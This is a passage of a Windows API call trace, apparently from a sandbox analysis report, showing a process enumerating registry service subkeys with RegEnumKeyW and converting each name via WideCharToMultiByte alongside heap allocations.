lpUsedDefaultChar=0x0) returned 7 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0230.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0230.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0230.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0230.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0230.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0230.752] 